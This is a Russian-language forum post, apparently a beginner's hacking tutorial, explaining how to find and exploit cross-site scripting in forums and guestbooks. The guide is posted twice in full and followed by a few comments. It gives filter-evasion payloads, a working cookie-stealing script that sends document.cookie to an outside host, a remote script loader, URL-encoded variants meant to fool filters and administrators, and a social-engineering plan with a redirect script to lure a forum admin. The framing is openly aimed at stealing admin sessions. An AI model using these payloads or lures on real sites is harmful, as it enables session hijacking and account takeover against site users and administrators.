Добро пожаловать, Гость!
Как обнаружить дырки? (новичкам)
PHP/MYSQL: Уроки | Как обнаружить дырки? (новичкам)
Chainsaw
:
Как обнаружить Xss?
### Xss это Css => Cross Site Scripting
Чтобы не путать с CSS также назвыают XSS
Впервые этот БАГ появился в 1997.
========================================
### Как используют XSS.
Для начала нам нужно знать что такое Cookie.
Если вы знаете, можете пропустить.
Cookie служат для сохранения учетных данных сайта на компьютере поситителя.
Если вы зарегестрировались на сайте под ником 'blabluble', то сайт сохранил у вас на компьютере файл с cookies, где закодированы ваши данные.
А если вы есть админ и у вас есть доступ к сайту, а я - юзер, который украл у вас(админа) cookies, то я могу спокойно зайти на сайт, и сайт меня определяет как 'admin' - у меня будут администраторские права.
Для смены(подстановки украденных) кук советую использувать прогу CookieEdit для IE или встроенные функции в Опере и Фаерфоксе.
========================================
Мы разобрались что такое куки идём дальше...
Чтобы перехватить cookies надо найти место на сайте, где можно выполнить XSS-атаку.
### Что такое XSS-атака?
XSS атаки - это атаки не на сам сайт, а на пользователей сайта.
XSS - это недоработка в фильтре, приложении.
Бывают пассивные XSS и активные XSS.
Что такое пассивные XSS?
Пассивные - это Xss, которые требуют от жертвы непосредственного участия + есть специфические ограничения и сложности.
Поэтому, пассивные XSS не очень ценятся.
Например, нужно заставить её пройти по ядовитой ссылке, что потребует социальной инженерии, хитрости.
Активные - это XSS, которые, не требуют никаких дополнительных действий со стороны жертвы - ей достаточно лишь открыть страницу с вашим XSS и ява-код выполнится автоматически.
Благодаря своей автоматизированности - они очень полезны и ценны.
Например, активные хсс существуют в BB-тегах из-за недостаточной фильтрации, когда вы оставляете сообщение на форумегостевухечате, которое будет всегда активен при каждом обновлении.
========================================
### Итак, перейду конкретно к тому, как найти в данном сайте XSS.
Как я раньше уже писал что XSS состоит из тегов, они же состоят из html, и javasсript языка .
Javasсript можно вписывать в html.
Можно кодировать, чтобы обойти фильтры. Но об этом позже.
Как узнать, что XSS на даном сайте проходит?
Ужасна распрастраннёная узявимость типа
<sсript>alert()</sсript> Пытаемся вставить во все различные поля этот скрипт... если вышло сообщение значит скрипт обработался и выполнился.
Самая распостраненая XSS (наблюдаеться во всех местах где плохая фильтрация):
"><sсript>alert()</sсript>
Вся суть в "> .
Давайте подумаем, что мы делаем, когда вводим в поле "><sсript>alert()</sсript> , что происходит?
Мы вводим в форму "><sсript>alert()</sсript> какой-то переменной присваиваеться значение поля. Переменная обрабатывается, "> выполняеться, закрывает
скрипт и выпролняет <sсript>alert()</sсript>
Эта XSS самая распостраненая в поисковиках:
Просматриваем все поля сайта и пытаемся вставить "><sсript>alert()</sсript>
Если вышло сообщение - вы нашли XSS...
========================================
### А как определить есть фильтр или нет?
Просто в любое поле вводим: '';!--"<dirko>=&{()}
Дальше открываем html страничку и ищем слово "dirko"
и смотри последующие сиволы..
Если <> так и остались то это перваый признак уязвимости - значит фильтр имеет дырку.
Если ,"' символы остались такими, как были введены - это второй признак уязвимости - возможные дополнительные символы к последующей XSS атаке.
Затем, если открыв HTML, вы не обнаружили <> то скорее всего дырка в фильтре.
Если открыв HTML вы обнаружили, что <> заменены на другие символы, то это облом - фильтр по крайней
мере функционирует нормально.
Возможно еще ввести в поле для проверки фильтрации вот так: "><>'"`,/?@%
Рассмотрим случай если фильтр съедает <>
В этом случае существует вероятность дырки.
К примеру, у фильтра условие съедать <sсript>,<> и .
Тогда пробуем <zxcvbnzxc792> и смотрим, если не съелось - нашли дырку...дальше можно составить боевой XSS-скрипт.
Ещe существует метод вложенного скрипта, к примеру вот так:
<sc<sсript>ript>alert()</sc</sсript>ript>
это, если фильтр не оч. сильный и плохо фильтрует.
Еще можно попробовать во так:
>>>><<sсript бывает, что фильтр подсчитывает откр. и закр. скобки и закрывает сам. Сначало фильтрует, а потом закрывает... что дает нам дырку к инъекции скрипта.
Частенько бывает что фильтр дополняет скрипт, к примеру вот этим :
">
Ссылка
Фильтр смотрит, что ничего опасного в <IMG%20SRC="javasсript:alert(); нет, закрывает и тем самым
выполняя скрипт.
Еще конечно если фильтр не фильтрует различные кодировки то можно попытаться закодировать скрипт и вставить код.
Все надо пытаться методом проб и ошибок искать...
Пытаться вводить в поля и внимательно просматривать что мы получили от фильтра.
Методом тыков понять, как фильтр работает, есть ли у него недоработки.
Если фильтр плохой, мы всегда можем вставить скрипты.
========================================
### Активные XSS
Тут надо использовать разрешенные теги и прекрываясь ими, надо выполнить запрос.
Например, теги url,bb,img.
Весь смысл вставки заключается в том, что нам надо встроить запрос в париметр img или url. У Img есть много парметров кроме src и alt.
Этот баг очень часто используется на форуме, в гостевухах...
Рассмотрим активные XSS.
Предупреждения!!!
Теги [fon*t],[im*g],[ur*l] пишутса с * для того, штобы они не использовались данным форумом.
Для использувания этих тегов удалите *.
К примеру просмотрим форум на наличие использования тегов [fon*t],[im*g],[ur*l] и попытаться вставить в них скрипт или комбинировать их.:
[im*g]httр://www.qwewqw.ru/1.jpg[/im*g]Выходит крестик...значит img используется и мы его подобрали (просто дело в том, что бывает img включен, а админы из создания сообщения его убирают, мол картинки вставлять нельзя и бывает он в использовании
разной формы) если крестика нет...а висит всего надпись, то попробуйте еще так:
[im*g src=httр://www.qwewqw.ru/1.jpg]
Ну так вот к примеру мы добились крестика этим:
[im*g]httр://www.qweqw.ru/1.jpg[/im*g]
Проверим держит ли фильтр пробел, добавляем пробел после расширения jpg :
[im*g]httр://www.qweqw.ru/1.jpg [/im*g]
если крестик есть - тогда всё ОК.
Далее существуют у img параметры dynsrc и lowsrc которые держат яваскрипт. Пытаемся к примеру вставить:
[im*g]http://www.qwewqw.ru/1.jpg dynsrc=javasсript:alert()[/im*g]
проверяем, отсылаем - появиться сообщение - значит нашли активную XSS и вместо alert() можете вставить любой скрипт.
Если фильтр не сдался попробуйте так:
[im*g]http://www.qweqw.ru/"/dynsrc="javasсript:alert()"/1.jpg[/im*g]
и
[im*g]http://www.qwewqw.ru/"/dynsrc=javasсript:alert()/1.jpg[/im*g]
Если с приведённых примеров получился крестик, то httр://www.qweqw.ru/1.jpg заменяем на адрес сниффера.
Бывают случаи, когда jpg отключен админом.
========================================
###Мы всё время делали коды типа:
<sсript>alert('HakNet')</sсript>
javasсript:alert('HakNet')
javasсript:alert('HakNet')/1.jpg и так далие..
Но они никакой пользы не принесли, это просто коды для проверки(тестировки) на Xss.
Вот скрипт:
<sсript>
img = new Image();
img.src = "http://antichat.org/s/HakNet.gif?"+document.cookie;
</sсript>
Он уже ворует куки
========================================
###Как его подставить к ссылке с Xss?
Да очень легко...
Есть несколко вариантов:
- 1)делаем вот так:
Ссылка Image();img.src="http://antichat.org/s/HakNet.gif?"+document.cookie;"+document.cookie;</sсript>
где **** сайт с Xss.
Вот сам составленый скрипт:
'><sсript>img = new Image();img.src="http://antichat.org/s/HakNet.gif?"+document.cookie;</sсript>
- 2)Можно ещё делать вот так:
Ссылка src=http://haknet.h16.ru/sсript/js.js></sсript>
где обращаетса к Ссылка
а в js.js есть:
img=new Image();img.src="http://antichat.org/s/HakNet.gif?"+document.cookie;
этот способ более надёжен.
Но как я уже писал - иногда бывают затруднения с фильтрами на сайте (не прокатывает наш скрипт).
Тогда нужно подумать, как его обойти.
Можно просто нечто добавить, нечто поменять, или удалить в скрипте.
Но есть более надёжным вариант, когда мы просто закодируем скрипт. Для этого есть много прог.
Есть такой сайт как Ссылка (кодировщик-дэкодировщик).
Вот пример:
%68%74%74%70%3A%2F%2F%2A%2A%2A%2A%2A%2E%72%75%2F%6 6%72%65%65%3F%70%3D%27%3E%3C%73%63%72%69%70%74%20% 73%72%63%3D%68%74%74%70%3A%2F%2F%68%61%6B%6E%65%74 %2E%68%31%36%2E%72%75%2F%73%63%72%69%70%74%2F%6A%7 3%2E%6A%73%3E%3C%2F%73%63%72%69%70%74%3E
это был закодированный:
Ссылка src=http://haknet.h16.ru/sсript/js.js></sсript>
- 3) Особенно шифрование необходимо не только для обмана фильтров, но и для обмана АДМИНА при использовании ПАССИВНОЙ ХСС.
Вот такой пример на основе социальной инженерии.
Ищем контакт с админом форума бросаем в форуме ему линк на свой сайт, и говориш типа так "клевая фича есть на сайте" и так дале в том же духе.
А на нашем сайте будет как вы уже догадались вот ето скрипт:
<sсript language="JavaScript">
document.location.href="%68%74%74%70%3A%2F%2F%2A%2A%2A%2A%2A%2E%72%75%2F%6 6%72%65%65%3F%70%3D%27%3E%3C%73%63%72%69%70%74%20% 73%72%63%3D%68%74%74%70%3A%2F%2F%68%61%6B%6E%65%74 %2E%68%31%36%2E%72%75%2F%73%63%72%69%70%74%2F%6A%7 3%2E%6A%73%3E%3C%2F%73%63%72%69%70%74%3E"
</sсript>
Что делает document.location.href вы спросите меня? )).. это ява-код, который без запроса переходит на указаной сайт Так чо ж у нас получается, дали мы линк админу, и он зашел на наш сайт, вот что делается.. его быстро бросает на
%68%74%74%70%3A%2F%2F%2A%2A%2A
Как обнаружить дырки? (новичкам)
16 Фев 2014Как обнаружить Xss?
### Xss это Css => Cross Site Scripting
Чтобы не путать с CSS также назвыают XSS
Впервые этот БАГ появился в 1997.
========================================
### Как используют XSS.
Для начала нам нужно знать что такое Cookie.
Если вы знаете, можете пропустить.
Cookie служат для сохранения учетных данных сайта на компьютере поситителя.
Если вы зарегестрировались на сайте под ником 'blabluble', то сайт сохранил у вас на компьютере файл с cookies, где закодированы ваши данные.
А если вы есть админ и у вас есть доступ к сайту, а я - юзер, который украл у вас(админа) cookies, то я могу спокойно зайти на сайт, и сайт меня определяет как 'admin' - у меня будут администраторские права.
Для смены(подстановки украденных) кук советую использувать прогу CookieEdit для IE или встроенные функции в Опере и Фаерфоксе.
========================================
Мы разобрались что такое куки идём дальше...
Чтобы перехватить cookies надо найти место на сайте, где можно выполнить XSS-атаку.
### Что такое XSS-атака?
XSS атаки - это атаки не на сам сайт, а на пользователей сайта.
XSS - это недоработка в фильтре, приложении.
Бывают пассивные XSS и активные XSS.
Что такое пассивные XSS?
Пассивные - это Xss, которые требуют от жертвы непосредственного участия + есть специфические ограничения и сложности.
Поэтому, пассивные XSS не очень ценятся.
Например, нужно заставить её пройти по ядовитой ссылке, что потребует социальной инженерии, хитрости.
Активные - это XSS, которые, не требуют никаких дополнительных действий со стороны жертвы - ей достаточно лишь открыть страницу с вашим XSS и ява-код выполнится автоматически.
Благодаря своей автоматизированности - они очень полезны и ценны.
Например, активные хсс существуют в BB-тегах из-за недостаточной фильтрации, когда вы оставляете сообщение на форумегостевухечате, которое будет всегда активен при каждом обновлении.
========================================
### Итак, перейду конкретно к тому, как найти в данном сайте XSS.
Как я раньше уже писал что XSS состоит из тегов, они же состоят из html, и javasсript языка .
Javasсript можно вписывать в html.
Можно кодировать, чтобы обойти фильтры. Но об этом позже.
Как узнать, что XSS на даном сайте проходит?
Ужасна распрастраннёная узявимость типа
<sсript>alert()</sсript> Пытаемся вставить во все различные поля этот скрипт... если вышло сообщение значит скрипт обработался и выполнился.
Самая распостраненая XSS (наблюдаеться во всех местах где плохая фильтрация):
"><sсript>alert()</sсript>
Вся суть в "> .
Давайте подумаем, что мы делаем, когда вводим в поле "><sсript>alert()</sсript> , что происходит?
Мы вводим в форму "><sсript>alert()</sсript> какой-то переменной присваиваеться значение поля. Переменная обрабатывается, "> выполняеться, закрывает
скрипт и выпролняет <sсript>alert()</sсript>
Эта XSS самая распостраненая в поисковиках:
Просматриваем все поля сайта и пытаемся вставить "><sсript>alert()</sсript>
Если вышло сообщение - вы нашли XSS...
========================================
### А как определить есть фильтр или нет?
Просто в любое поле вводим: '';!--"<dirko>=&{()}
Дальше открываем html страничку и ищем слово "dirko"
и смотри последующие сиволы..
Если <> так и остались то это перваый признак уязвимости - значит фильтр имеет дырку.
Если ,"' символы остались такими, как были введены - это второй признак уязвимости - возможные дополнительные символы к последующей XSS атаке.
Затем, если открыв HTML, вы не обнаружили <> то скорее всего дырка в фильтре.
Если открыв HTML вы обнаружили, что <> заменены на другие символы, то это облом - фильтр по крайней
мере функционирует нормально.
Возможно еще ввести в поле для проверки фильтрации вот так: "><>'"`,/?@%
Рассмотрим случай если фильтр съедает <>
В этом случае существует вероятность дырки.
К примеру, у фильтра условие съедать <sсript>,<> и .
Тогда пробуем <zxcvbnzxc792> и смотрим, если не съелось - нашли дырку...дальше можно составить боевой XSS-скрипт.
Ещe существует метод вложенного скрипта, к примеру вот так:
<sc<sсript>ript>alert()</sc</sсript>ript>
это, если фильтр не оч. сильный и плохо фильтрует.
Еще можно попробовать во так:
>>>><<sсript бывает, что фильтр подсчитывает откр. и закр. скобки и закрывает сам. Сначало фильтрует, а потом закрывает... что дает нам дырку к инъекции скрипта.
Частенько бывает что фильтр дополняет скрипт, к примеру вот этим :
">
Ссылка
Фильтр смотрит, что ничего опасного в <IMG%20SRC="javasсript:alert(); нет, закрывает и тем самым
выполняя скрипт.
Еще конечно если фильтр не фильтрует различные кодировки то можно попытаться закодировать скрипт и вставить код.
Все надо пытаться методом проб и ошибок искать...
Пытаться вводить в поля и внимательно просматривать что мы получили от фильтра.
Методом тыков понять, как фильтр работает, есть ли у него недоработки.
Если фильтр плохой, мы всегда можем вставить скрипты.
========================================
### Активные XSS
Тут надо использовать разрешенные теги и прекрываясь ими, надо выполнить запрос.
Например, теги url,bb,img.
Весь смысл вставки заключается в том, что нам надо встроить запрос в париметр img или url. У Img есть много парметров кроме src и alt.
Этот баг очень часто используется на форуме, в гостевухах...
Рассмотрим активные XSS.
Предупреждения!!!
Теги [fon*t],[im*g],[ur*l] пишутса с * для того, штобы они не использовались данным форумом.
Для использувания этих тегов удалите *.
К примеру просмотрим форум на наличие использования тегов [fon*t],[im*g],[ur*l] и попытаться вставить в них скрипт или комбинировать их.:
[im*g]httр://www.qwewqw.ru/1.jpg[/im*g]Выходит крестик...значит img используется и мы его подобрали (просто дело в том, что бывает img включен, а админы из создания сообщения его убирают, мол картинки вставлять нельзя и бывает он в использовании
разной формы) если крестика нет...а висит всего надпись, то попробуйте еще так:
[im*g src=httр://www.qwewqw.ru/1.jpg]
Ну так вот к примеру мы добились крестика этим:
[im*g]httр://www.qweqw.ru/1.jpg[/im*g]
Проверим держит ли фильтр пробел, добавляем пробел после расширения jpg :
[im*g]httр://www.qweqw.ru/1.jpg [/im*g]
если крестик есть - тогда всё ОК.
Далее существуют у img параметры dynsrc и lowsrc которые держат яваскрипт. Пытаемся к примеру вставить:
[im*g]http://www.qwewqw.ru/1.jpg dynsrc=javasсript:alert()[/im*g]
проверяем, отсылаем - появиться сообщение - значит нашли активную XSS и вместо alert() можете вставить любой скрипт.
Если фильтр не сдался попробуйте так:
[im*g]http://www.qweqw.ru/"/dynsrc="javasсript:alert()"/1.jpg[/im*g]
и
[im*g]http://www.qwewqw.ru/"/dynsrc=javasсript:alert()/1.jpg[/im*g]
Если с приведённых примеров получился крестик, то httр://www.qweqw.ru/1.jpg заменяем на адрес сниффера.
Бывают случаи, когда jpg отключен админом.
========================================
###Мы всё время делали коды типа:
<sсript>alert('HakNet')</sсript>
javasсript:alert('HakNet')
javasсript:alert('HakNet')/1.jpg и так далие..
Но они никакой пользы не принесли, это просто коды для проверки(тестировки) на Xss.
Вот скрипт:
<sсript>
img = new Image();
img.src = "http://antichat.org/s/HakNet.gif?"+document.cookie;
</sсript>
Он уже ворует куки
========================================
###Как его подставить к ссылке с Xss?
Да очень легко...
Есть несколко вариантов:
- 1)делаем вот так:
Ссылка Image();img.src="http://antichat.org/s/HakNet.gif?"+document.cookie;"+document.cookie;</sсript>
где **** сайт с Xss.
Вот сам составленый скрипт:
'><sсript>img = new Image();img.src="http://antichat.org/s/HakNet.gif?"+document.cookie;</sсript>
- 2)Можно ещё делать вот так:
Ссылка src=http://haknet.h16.ru/sсript/js.js></sсript>
где обращаетса к Ссылка
а в js.js есть:
img=new Image();img.src="http://antichat.org/s/HakNet.gif?"+document.cookie;
этот способ более надёжен.
Но как я уже писал - иногда бывают затруднения с фильтрами на сайте (не прокатывает наш скрипт).
Тогда нужно подумать, как его обойти.
Можно просто нечто добавить, нечто поменять, или удалить в скрипте.
Но есть более надёжным вариант, когда мы просто закодируем скрипт. Для этого есть много прог.
Есть такой сайт как Ссылка (кодировщик-дэкодировщик).
Вот пример:
%68%74%74%70%3A%2F%2F%2A%2A%2A%2A%2A%2E%72%75%2F%6 6%72%65%65%3F%70%3D%27%3E%3C%73%63%72%69%70%74%20% 73%72%63%3D%68%74%74%70%3A%2F%2F%68%61%6B%6E%65%74 %2E%68%31%36%2E%72%75%2F%73%63%72%69%70%74%2F%6A%7 3%2E%6A%73%3E%3C%2F%73%63%72%69%70%74%3E
это был закодированный:
Ссылка src=http://haknet.h16.ru/sсript/js.js></sсript>
- 3) Особенно шифрование необходимо не только для обмана фильтров, но и для обмана АДМИНА при использовании ПАССИВНОЙ ХСС.
Вот такой пример на основе социальной инженерии.
Ищем контакт с админом форума бросаем в форуме ему линк на свой сайт, и говориш типа так "клевая фича есть на сайте" и так дале в том же духе.
А на нашем сайте будет как вы уже догадались вот ето скрипт:
<sсript language="JavaScript">
document.location.href="%68%74%74%70%3A%2F%2F%2A%2A%2A%2A%2A%2E%72%75%2F%6 6%72%65%65%3F%70%3D%27%3E%3C%73%63%72%69%70%74%20% 73%72%63%3D%68%74%74%70%3A%2F%2F%68%61%6B%6E%65%74 %2E%68%31%36%2E%72%75%2F%73%63%72%69%70%74%2F%6A%7 3%2E%6A%73%3E%3C%2F%73%63%72%69%70%74%3E"
</sсript>
Что делает document.location.href вы спросите меня? )).. это ява-код, который без запроса переходит на указаной сайт Так чо ж у нас получается, дали мы линк админу, и он зашел на наш сайт, вот что делается.. его быстро бросает на
%68%74%74%70%3A%2F%2F%2A%2A%2A
Последний раз редактировалось biket
9 Авг 2014
Комментарии:
Dreamer
16 Фев 2014
Как сдесь прописывать? Вот так? сайт.ру/Image();img.src="http://antichat.org/s/HakNet.gif?"+document.cookie;"+document.cookie;</sсript>
______________________
тут могла быть ваша реклама.
Как сдесь прописывать? Вот так? сайт.ру/Image();img.src="http://antichat.org/s/HakNet.gif?"+document.cookie;"+document.cookie;</sсript>
______________________
тут могла быть ваша реклама.
POMAH
16 Фев 2014
active (16 Фев 2014):
POMAH, Просто написал, может кому интересно будет.
active, да я когдато искал такое POMAH, Просто написал, может кому интересно будет.